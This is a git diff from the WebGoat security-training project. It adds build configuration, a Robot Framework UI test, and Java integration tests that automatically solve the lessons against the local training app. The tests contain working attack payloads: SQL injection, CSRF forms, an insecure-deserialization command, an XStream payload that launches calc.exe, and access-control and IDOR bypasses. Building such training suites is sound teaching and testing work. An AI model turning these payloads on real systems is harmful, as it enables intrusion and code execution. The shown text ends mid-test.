4 + + + + + + **/*.md + + + + + + + + true + + + + + UTF-8 + ${line.separator} + true + false + true + 2 + false + false + recommended_2008_06 + true + true + true + + + + + + + check + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + 3.0.0 + + + restrict-log4j-versions + + enforce + + validate + + + + + org.apache.logging.log4j:log4j-core + + + + true + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 17 + 17 + + + + + + + + local-server + + + start-server + + true + + + + + org.codehaus.mojo + build-helper-maven-plugin + + + reserve-container-port + + reserve-network-port + + process-resources + + + webgoat.port + webwolf.port + jmxPort + + + + + + + com.bazaarvoice.maven.plugins + process-exec-maven-plugin + 0.9 + + + start-jar + + start + + pre-integration-test + + ${project.build.directory} + + java + -jar + -Dlogging.pattern.console= + -Dspring.main.banner-mode=off + -Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat + -Dwebgoat.port=${webgoat.port} + -Dwebwolf.port=${webwolf.port} + --add-opens + java.base/java.lang=ALL-UNNAMED + --add-opens + java.base/java.util=ALL-UNNAMED + --add-opens + java.base/java.lang.reflect=ALL-UNNAMED + --add-opens + java.base/java.text=ALL-UNNAMED + --add-opens + java.desktop/java.beans=ALL-UNNAMED + --add-opens + java.desktop/java.awt.font=ALL-UNNAMED + --add-opens + java.base/sun.nio.ch=ALL-UNNAMED + --add-opens + java.base/java.io=ALL-UNNAMED + --add-opens + java.base/java.util=ALL-UNNAMED + ${project.build.directory}/webgoat-${project.version}.jar + + false + http://localhost:${webgoat.port}/WebGoat/ + + + + stop-jar-process + + stop-all + + post-integration-test + + + + + + + + owasp + + false + + + + + org.owasp + dependency-check-maven + 6.5.1 + + 7 + false + false + + + ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml + + + + + + check + + + + + + + + + + diff --git a/robot/README.md b/robot/README.md new file mode 100644 index 000000000..5ed805c9f --- /dev/null +++ b/robot/README.md @@ -0,0 +1,19 @@ +# Install and use Robotframework + +## Install Chromedriver on Mac OS + + brew install cask chromedriver + chromedriver --version + +Then see security settings and allow the file to run + +## Install + + pip3 install virtualenv --user + python3 -m virtualenv .venv + source .venv/bin/activate + pip install robotframework + pip install robotframework-SeleniumLibrary + pip install webdriver-manager + robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot + diff --git a/robot/goat.robot b/robot/goat.robot new file mode 100644 index 000000000..972fdf421 --- /dev/null +++ b/robot/goat.robot @@ -0,0 +1,101 @@ +*** Settings *** +Documentation Setup WebGoat Robotframework tests +Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot +Library String + +Suite Setup Initial_Page ${ENDPOINT} ${BROWSER} +Suite Teardown Close_Page + +*** Variables *** +${BROWSER} chrome +${SLEEP} 100 +${DELAY} 0.25 +${ENDPOINT} http://127.0.0.1:8080/WebGoat +${ENDPOINT_WOLF} http://127.0.0.1:9090 +${USERNAME} robotuser +${PASSWORD} password +${HEADLESS} ${FALSE} + +*** Keywords *** +Initial_Page + [Documentation] Check the inital page + [Arguments] ${ENDPOINT} ${BROWSER} + Log To Console Start WebGoat UI Testing + IF ${HEADLESS} + Open Browser ${ENDPOINT} ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat + ELSE + Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat + END + IF ${HEADLESS} + Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf + ELSE + Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf + END + Switch Browser webgoat + Maximize Browser Window + Set Window Size ${1400} ${1000} + Switch Browser webwolf + Maximize Browser Window + Set Window Size ${1400} ${1000} + Set Window Position ${400} ${200} + Set Selenium Speed ${DELAY} + +Close_Page + [Documentation] Closing the browser + Log To Console ==> Stop WebGoat UI Testing + IF ${HEADLESS} + Switch Browser webgoat + Close Browser + Switch Browser webwolf + Close Browser + END + +*** Test Cases *** + +Check_Initial_Page + Switch Browser webgoat + Page Should Contain Username + Click Button Sign in + Page Should Contain Invalid username + Click Link /WebGoat/registration + +Check_Registration_Page + Page Should Contain Username + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Input Text matchingPassword ${PASSWORD} + Click Element agree + Click Button Sign up + +Check_Welcome_Page + Page Should Contain WebGoat + Go To ${ENDPOINT}/login + Page Should Contain Username + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Click Button Sign in + Page Should Contain WebGoat + +Check_Menu_Page + Click Element css=a[category='Introduction'] + Click Element Introduction-WebGoat + CLick Element Introduction-WebWolf + Click Element css=a[category='General'] + CLick Element General-HTTPBasics + Click Element xpath=//*[.='2'] + Input Text person ${USERNAME} + Click Button Go! + ${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')] + ${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}""" + IF not ${OUT_RESULT} + Fail "not ok" + END + +Check_WebWolf + Switch Browser webwolf + location should be ${ENDPOINT_WOLF}/WebWolf + Go To ${ENDPOINT_WOLF}/mail + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Click Button Sign In + diff --git a/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java new file mode 100644 index 000000000..d57661f9a --- /dev/null +++ b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java @@ -0,0 +1,86 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.apache.http.HttpStatus; +import org.junit.jupiter.api.Test; + +import java.util.Map; + +class AccessControlIntegrationTest extends IntegrationTest { + + @Test + void testLesson() { + startLesson("MissingFunctionAC", true); + assignment1(); + assignment2(); + assignment3(); + + checkResults("/access-control"); + } + + private void assignment3() { + //direct call should fail if user has not been created + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(HttpStatus.SC_FORBIDDEN); + + //create user + var userTemplate = """ + {"username":"%s","password":"%s","admin": "true"} + """; + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .body(String.format(userTemplate, this.getUser(), this.getUser())) + .post(url("/WebGoat/access-control/users")) + .then() + .statusCode(HttpStatus.SC_OK); + + //get the users + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); + } + + private void assignment2() { + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true); + } + + private void assignment1() { + var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); + checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true); + } +} diff --git a/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java new file mode 100644 index 000000000..01d22d1aa --- /dev/null +++ b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java @@ -0,0 +1,259 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import lombok.Data; +import lombok.SneakyThrows; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; +import org.owasp.webgoat.container.lessons.Assignment; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +public class CSRFIntegrationTest extends IntegrationTest { + + private static final String trickHTML3 = "
\n" + + "\n" + + "\n" + + "
"; + + private static final String trickHTML4 = "
\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "
\n" + + ""; + + private static final String trickHTML7 = "
\n" + + "\n" + + "\n" + + "
"; + + private static final String trickHTML8 = "
\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "
"; + + private String webwolfFileDir; + + @BeforeEach + @SneakyThrows + public void init() { + startLesson("CSRF"); + webwolfFileDir = getWebWolfFileServerLocation(); + uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); + uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); + uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); + uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser())); + } + + @TestFactory + Iterable testCSRFLesson() { + return Arrays.asList( + dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), + dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), + dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), + dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) + ); + } + + @AfterEach + public void shutdown() throws IOException { + //logout(); + login();//because old cookie got replaced and invalidated + startLesson("CSRF", false); + checkResults("/csrf"); + } + + private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException { + + //remove any left over html + Path webWolfFilePath = Paths.get(webwolfFileDir); + if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName))); + } + + //upload trick html + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .multiPart("file", htmlName, htmlContent.getBytes()) + .post(webWolfUrl("/WebWolf/fileupload")) + .then() + .extract().response().getBody().asString(); + } + + private String callTrickHtml(String htmlName) { + String result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName)) + .then() + .extract().response().getBody().asString(); + result = result.substring(8 + result.indexOf("action=\"")); + result = result.substring(0, result.indexOf("\"")); + + return result; + } + + private void checkAssignment3(String goatURL) { + String flag = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .post(goatURL) + .then() + .extract().path("flag").toString(); + + Map params = new HashMap<>(); + params.clear(); + params.put("confirmFlagVal", flag); + checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true); + } + + private void checkAssignment4(String goatURL) { + + Map params = new HashMap<>(); + params.clear(); + params.put("reviewText", "test review"); + params.put("stars", "5"); + params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness + + boolean result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .formParams(params) + .post(goatURL) + .then() + .extract().path("lessonCompleted"); + assertEquals(true, result); + + } + + private void checkAssignment7(String goatURL) { + Map params = new HashMap<>(); + params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); + + String flag = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .contentType(ContentType.TEXT) + .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}") + .post(goatURL) + .then() + .extract().asString(); + flag = flag.substring(9 + flag.indexOf("flag is:")); + flag = flag.substring(0, flag.indexOf("\"")); + + params.clear(); + params.put("confirmFlagVal", flag); + checkAssignment(url("/WebGoat/csrf/feedback"), params, true); + + } + + private void checkAssignment8(String goatURL) { + + //first make sure there is an attack csrf- user + registerCSRFUser(); + + Map params = new HashMap<>(); + params.clear(); + params.put("username", "csrf-" + this.getUser()); + params.put("password", "password"); + + //login and get the new cookie + String newCookie = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .params(params) + .post(goatURL) + .then() + .extract().cookie("JSESSIONID"); + + //select the lesson + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", newCookie) + .get(url("CSRF.lesson.lesson")) + .then() + .statusCode(200); + + //click on the assignment + boolean result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", newCookie) + .post(url("/csrf/login")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"); + + assertThat(result).isTrue(); + + login(); + startLesson("CSRF", false); + + Overview[] assignments = RestAssured.given() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/service/lessonoverview.mvc")) + .then() + .extract() + .jsonPath() + .getObject("$", Overview[].class); +// assertThat(assignments) +// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) +// .extracting(o -> o.solved) +// .containsExactly(true); + } + + @Data + private static class Overview { + Assignment assignment; + boolean solved; + } + + /** + * Try to register the new user. Ignore the result. + */ + private void registerCSRFUser() { + + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .formParam("username", "csrf-" + this.getUser()) + .formParam("password", "password") + .formParam("matchingPassword", "password") + .formParam("agree", "agree") + .post(url("register.mvc")); + + } + +} diff --git a/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java new file mode 100644 index 000000000..f4f8152c7 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java @@ -0,0 +1,112 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import org.junit.jupiter.api.Test; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertTrue; + + +public class ChallengeIntegrationTest extends IntegrationTest { + + @Test + public void testChallenge1() { + startLesson("Challenge1"); + + byte[] resultBytes = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/challenge/logo")) + .then() + .statusCode(200) + .extract().asByteArray(); + + String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220)); + Map params = new HashMap<>(); + params.clear(); + params.put("username", "admin"); + params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); + + + checkAssignment(url("/WebGoat/challenge/1"), params, true); + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url("/WebGoat/challenge/1")) + .then() + .statusCode(200) + .extract().asString(); + + String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); + params.clear(); + params.put("flag", flag); + checkAssignment(url("/WebGoat/challenge/flag"), params, true); + + + checkResults("/challenge/1"); + + List capturefFlags = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/scoreboard-data")) + .then() + .statusCode(200) + .extract().jsonPath() + .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); + assertTrue(capturefFlags.contains("Admin lost password")); + } + + @Test + public void testChallenge5() { + startLesson("Challenge5"); + + Map params = new HashMap<>(); + params.clear(); + params.put("username_login", "Larry"); + params.put("password_login", "1' or '1'='1"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url("/WebGoat/challenge/5")) + .then() + .statusCode(200) + .extract().asString(); + + String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); + params.clear(); + params.put("flag", flag); + checkAssignment(url("/WebGoat/challenge/flag"), params, true); + + + checkResults("/challenge/5"); + + List capturefFlags = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/scoreboard-data")) + .then() + .statusCode(200) + .extract().jsonPath() + .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); + assertTrue(capturefFlags.contains("Without password")); + } + +} diff --git a/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java new file mode 100644 index 000000000..21caef469 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java @@ -0,0 +1,134 @@ +package org.owasp.webgoat; + +import static org.junit.jupiter.api.Assertions.fail; + +import java.nio.charset.Charset; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.interfaces.RSAPrivateKey; +import java.security.spec.InvalidKeySpecException; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.bind.DatatypeConverter; + +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.lessons.cryptography.CryptoUtil; +import org.owasp.webgoat.lessons.cryptography.HashingAssignment; + +import io.restassured.RestAssured; + +public class CryptoIntegrationTest extends IntegrationTest { + + @Test + public void runTests() { + startLesson("Cryptography"); + + checkAssignment2(); + checkAssignment3(); + + // Assignment 4 + try { + checkAssignment4(); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + fail(); + } + + try { + checkAssignmentSigning(); + } catch (Exception e) { + e.printStackTrace(); + fail(); + } + + checkAssignmentDefaults(); + + checkResults("/crypto"); + + } + + private void checkAssignment2() { + + String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract() + .asString(); + basicEncoding = basicEncoding.substring("Authorization: Basic ".length()); + String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes())); + String answer_user = decodedString.split(":")[0]; + String answer_pwd = decodedString.split(":")[1]; + Map params = new HashMap<>(); + params.clear(); + params.put("answer_user", answer_user); + params.put("answer_pwd", answer_pwd); + checkAssignment(url("/crypto/encoding/basic-auth"), params, true); + } + + private void checkAssignment3() { + String answer_1 = "databasepassword"; + Map params = new HashMap<>(); + params.clear(); + params.put("answer_pwd1", answer_1); + checkAssignment(url("/crypto/encoding/xor"), params, true); + } + + private void checkAssignment4() throws NoSuchAlgorithmException { + + String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/crypto/hashing/md5")).then().extract().asString(); + + String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/crypto/hashing/sha256")).then().extract().asString(); + + String answer_1 = "unknown"; + String answer_2 = "unknown"; + for (String secret : HashingAssignment.SECRETS) { + if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) { + answer_1 = secret; + } + if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) { + answer_2 = secret; + } + } + + Map params = new HashMap<>(); + params.clear(); + params.put("answer_pwd1", answer_1); + params.put("answer_pwd2", answer_2); + checkAssignment(url("/WebGoat/crypto/hashing"), params, true); + } + + private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { + + String privatePEM = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/crypto/signing/getprivate")) + .then() + .extract().asString(); + PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM); + + RSAPrivateKey privk = (RSAPrivateKey) privateKey; + String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray()); + String signature = CryptoUtil.signMessage(modulus, privateKey); + Map params = new HashMap<>(); + params.clear(); + params.put("modulus", modulus); + params.put("signature", signature); + checkAssignment(url("/crypto/signing/verify"), params, true); + } + + private void checkAssignmentDefaults() { + + String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8")))); + + Map params = new HashMap<>(); + params.clear(); + params.put("secretText", text); + params.put("secretFileName", "default_secret"); + checkAssignment(url("/crypto/secure/defaults"), params, true); + } + +} diff --git a/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java new file mode 100644 index 000000000..496d6cfa8 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java @@ -0,0 +1,34 @@ +package org.owasp.webgoat; + +import org.dummy.insecure.framework.VulnerableTaskHolder; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.lessons.deserialization.SerializationHelper; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +public class DeserializationIntegrationTest extends IntegrationTest { + + private static String OS = System.getProperty("os.name").toLowerCase(); + + @Test + public void runTests() throws IOException { + startLesson("InsecureDeserialization"); + + Map params = new HashMap<>(); + params.clear(); + + if (OS.indexOf("win") > -1) { + params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))); + } else { + params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); + } + checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true); + + checkResults("/InsecureDeserialization/"); + + } + + +} diff --git a/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java new file mode 100644 index 000000000..8522681a5 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java @@ -0,0 +1,210 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import java.util.HashMap; +import java.util.Map; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.Test; +import org.springframework.util.StringUtils; + +public class GeneralLessonIntegrationTest extends IntegrationTest { + + @Test + public void httpBasics() { + startLesson("HttpBasics"); + Map params = new HashMap<>(); + params.clear(); + params.put("person", "goatuser"); + checkAssignment(url("HttpBasics/attack1"), params, true); + + params.clear(); + params.put("answer", "POST"); + params.put("magic_answer", "33"); + params.put("magic_num", "4"); + checkAssignment(url("HttpBasics/attack2"), params, false); + + params.clear(); + params.put("answer", "POST"); + params.put("magic_answer", "33"); + params.put("magic_num", "33"); + checkAssignment(url("HttpBasics/attack2"), params, true); + + checkResults("/HttpBasics/"); + } + + @Test + public void httpProxies() { + startLesson("HttpProxies"); + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("x-request-intercepted", "true") + .contentType(ContentType.JSON) + .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + CoreMatchers.is(true)); + + checkResults("/HttpProxies/"); + } + + @Test + public void cia() { + startLesson("CIA"); + Map params = new HashMap<>(); + params.clear(); + params.put( + "question_0_solution", + "Solution 3: By stealing a database where names and emails are stored and uploading it to a website."); + params.put( + "question_1_solution", + "Solution 1: By changing the names and emails of one or more users stored in a database."); + params.put( + "question_2_solution", + "Solution 4: By launching a denial of service attack on the servers."); + params.put( + "question_3_solution", + "Solution 2: The systems security is compromised even if only one goal is harmed."); + checkAssignment(url("/WebGoat/cia/quiz"), params, true); + checkResults("/cia/"); + } + + @Test + public void vulnerableComponents() { + if (StringUtils.hasText(System.getProperty("running.in.docker"))) { + String solution = + "\n" + + "org.owasp.webgoat.lessons.vulnerablecomponents.Contact\n" + + " \n" + + " \n" + + " \n" + + " calc.exe\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + ""; + startLesson("VulnerableComponents"); + Map params = new HashMap<>(); + params.clear(); + params.put("payload", solution); + checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true); + checkResults("/VulnerableComponents/"); + } + } + + @Test + public void insecureLogin() { + startLesson("InsecureLogin"); + Map params = new HashMap<>(); + params.clear(); + params.put("username", "CaptainJack"); + params.put("password", "BlackPearl"); + checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true); + checkResults("/InsecureLogin/"); + } + + @Test + public void securePasswords() { + startLesson("SecurePasswords"); + Map params = new HashMap<>(); + params.clear(); + params.put("password", "ajnaeliclm^&&@kjn."); + checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true); + checkResults("SecurePasswords/"); + + startLesson("AuthBypass"); + params.clear(); + params.put("secQuestion2", "John"); + params.put("secQuestion3", "Main"); + params.put("jsEnabled", "1"); + params.put("verifyMethod", "SEC_QUESTIONS"); + params.put("userId", "12309746"); + checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true); + checkResults("/auth-bypass/"); + + startLesson("HttpProxies"); + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("x-request-intercepted", "true") + .contentType(ContentType.JSON) + .get( + url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + CoreMatchers.is(true)); + checkResults("/HttpProxies/"); + } + + @Test + public void chrome() { + startLesson("ChromeDevTools"); + + Map params = new HashMap<>(); + params.clear(); + params.put("param1", "42"); + params.put("param2", "24"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("webgoat-requested-by", "dom-xss-vuln") + .header("X-Requested-With", "XMLHttpRequest") + .formParams(params) + .post(url("/WebGoat/CrossSiteScripting/phone-home-xss")) + .then() + .statusCode(200) + .extract() + .path("output"); + String secretNumber = result.substring("phoneHome Response is ".length()); + + params.clear(); + params.put("successMessage", secretNumber); + checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true); + + params.clear(); + params.put("number", "24"); + params.put("network_num", "24"); + checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true); + + checkResults("/ChromeDevTools/"); + } + + @Test + public void authByPass() { + startLesson("AuthBypass"); + Map params = new HashMap<>(); + params.clear(); + params.put("secQuestion2", "John"); + params.put("secQuestion3", "Main"); + params.put("jsEnabled", "1"); + params.put("verifyMethod", "SEC_QUESTIONS"); + params.put("userId", "12309746"); + checkAssignment(url("/auth-bypass/verify-account"), params, true); + checkResults("/auth-bypass/"); + } + + @Test + public void lessonTemplate() { + startLesson("LessonTemplate"); + Map params = new HashMap<>(); + params.clear(); + params.put("param1", "secr37Value"); + params.put("param2", "Main"); + checkAssignment(url("/lesson-template/sample-attack"), params, true); + checkResults("/lesson-template/"); + } +} diff --git a/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java new file mode 100644 index 000000000..56308d92d --- /dev/null +++ b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java @@ -0,0 +1,98 @@ +package org.owasp.webgoat; + + +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +import java.io.IOException; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import lombok.SneakyThrows; + +public class IDORIntegrationTest extends IntegrationTest { + + @BeforeEach + @SneakyThrows + public void init() { + startLesson("IDOR"); + } + + @TestFactory + Iterable testIDORLesson() { + return Arrays.asList( + dynamicTest("login",()-> loginIDOR()), + dynamicTest("profile", () -> profile()) + ); + } + + @AfterEach + public void shutdown() throws IOException { + checkResults("/IDOR"); + } + + private void loginIDOR() throws IOException { + + Map params = new HashMap<>(); + params.clear(); + params.put("username", "tom"); + params.put("password", "cat"); + + + checkAssignment(url("/WebGoat/IDOR/login"), params, true); + + } + + private void profile() { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/IDOR/profile")) + .then() + .statusCode(200) + .extract().path("userId"), CoreMatchers.is("2342384")); + Map params = new HashMap<>(); + params.clear(); + params.put("attributes", "userId,role"); + checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true); + params.clear(); + params.put("url", "WebGoat/IDOR/profile/2342384"); + checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/IDOR/profile/2342388")) + .then() + .statusCode(200) + 